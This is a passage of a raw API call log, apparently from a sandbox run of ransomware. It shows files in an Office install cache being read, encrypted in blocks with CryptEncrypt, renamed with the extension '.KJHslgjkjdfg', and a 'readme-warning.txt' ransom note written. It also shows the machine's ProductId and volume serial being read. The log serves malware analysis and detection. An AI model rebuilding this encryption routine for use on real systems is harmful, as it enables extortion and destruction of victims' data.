dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.274] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0138.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.275] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0138.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0138.275] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0138.362] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0138.365] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.365] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0138.367] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.367] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0138.367] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0138.367] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0139.280] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0139.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.284] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0139.285] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.285] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0139.285] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.285] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.285] SetEndOfFile (hFile=0x124) returned 1 [0139.290] GetProcessHeap () returned 0x2a0000 [0139.291] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0139.291] GetProcessHeap () returned 0x2a0000 [0139.291] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0139.291] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.kjhslgjkjdfg")) returned 1 [0139.291] CloseHandle (hObject=0x124) returned 1 [0139.937] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0139.937] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0139.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0139.939] GetProcessHeap () returned 0x2a0000 [0139.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0139.939] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0139.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0139.939] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xa, lpOverlapped=0x0) returned 1 [0139.944] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0139.944] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0139.944] GetProcessHeap () returned 0x2a0000 [0139.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0139.944] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0139.944] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.944] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0139.944] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0139.944] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0139.944] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0139.945] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0139.945] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0139.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0139.945] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0139.945] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.945] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x7976, lpOverlapped=0x0) returned 1 [0139.946] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x7980, dwBufLen=0x7980 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x7980) returned 1 [0139.947] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.947] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x7980, lpOverlapped=0x0) returned 1 [0139.947] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.947] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.947] SetEndOfFile (hFile=0x124) returned 1 [0139.950] GetProcessHeap () returned 0x2a0000 [0139.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0139.950] GetProcessHeap () returned 0x2a0000 [0139.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0139.950] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0139.951] CloseHandle (hObject=0x124) returned 1 [0139.951] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0139.951] GetProcessHeap () returned 0x2a0000 [0139.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0139.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0139.951] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0139.951] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.951] GetProcessHeap () returned 0x2a0000 [0139.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0139.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0139.951] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0139.951] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.952] GetProcessHeap () returned 0x2a0000 [0139.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0139.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0139.952] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0139.952] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.952] GetProcessHeap () returned 0x2a0000 [0139.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0139.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0139.952] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0139.952] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.952] GetProcessHeap () returned 0x2a0000 [0139.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0139.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0139.952] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0139.952] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.952] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0139.952] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0139.953] RegCloseKey (hKey=0x124) returned 0x0 [0139.953] GetProcessHeap () returned 0x2a0000 [0139.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0139.953] GetProcessHeap () returned 0x2a0000 [0139.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0139.953] GetProcessHeap () returned 0x2a0000 [0139.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0139.953] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0139.953] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0139.953] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.953] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0139.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0139.953] GetProcessHeap () returned 0x2a0000 [0139.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0139.953] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0139.953] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0139.953] GetProcessHeap () returned 0x2a0000 [0139.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0139.954] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0139.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0139.954] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0139.955] CloseHandle (hObject=0x124) returned 1 [0139.955] GetProcessHeap () returned 0x2a0000 [0139.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0139.955] GetProcessHeap () returned 0x2a0000 [0139.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0139.956] GetProcessHeap () returned 0x2a0000 [0139.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0139.956] GetProcessHeap () returned 0x2a0000 [0139.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0139.956] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0139.956] GetProcessHeap () returned 0x2a0000 [0139.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0139.956] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0139.956] GetProcessHeap () returned 0x2a0000 [0139.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0139.956] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0139.958] GetProcessHeap () returned 0x2a0000 [0139.958] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0139.958] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0139.958] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0139.958] GetProcessHeap () returned 0x2a0000 [0139.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0139.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0139.959] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=1992192) returned 1 [0139.960] GetProcessHeap () returned 0x2a0000 [0139.960] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0139.960] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0139.960] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0139.960] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0139.960] GetProcessHeap () returned 0x2a0000 [0139.960] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0139.960] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0139.960] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.960] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0139.962] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0139.962] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0139.963] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0139.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0139.963] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0139.963] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0139.963] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0139.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0139.963] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0139.968] 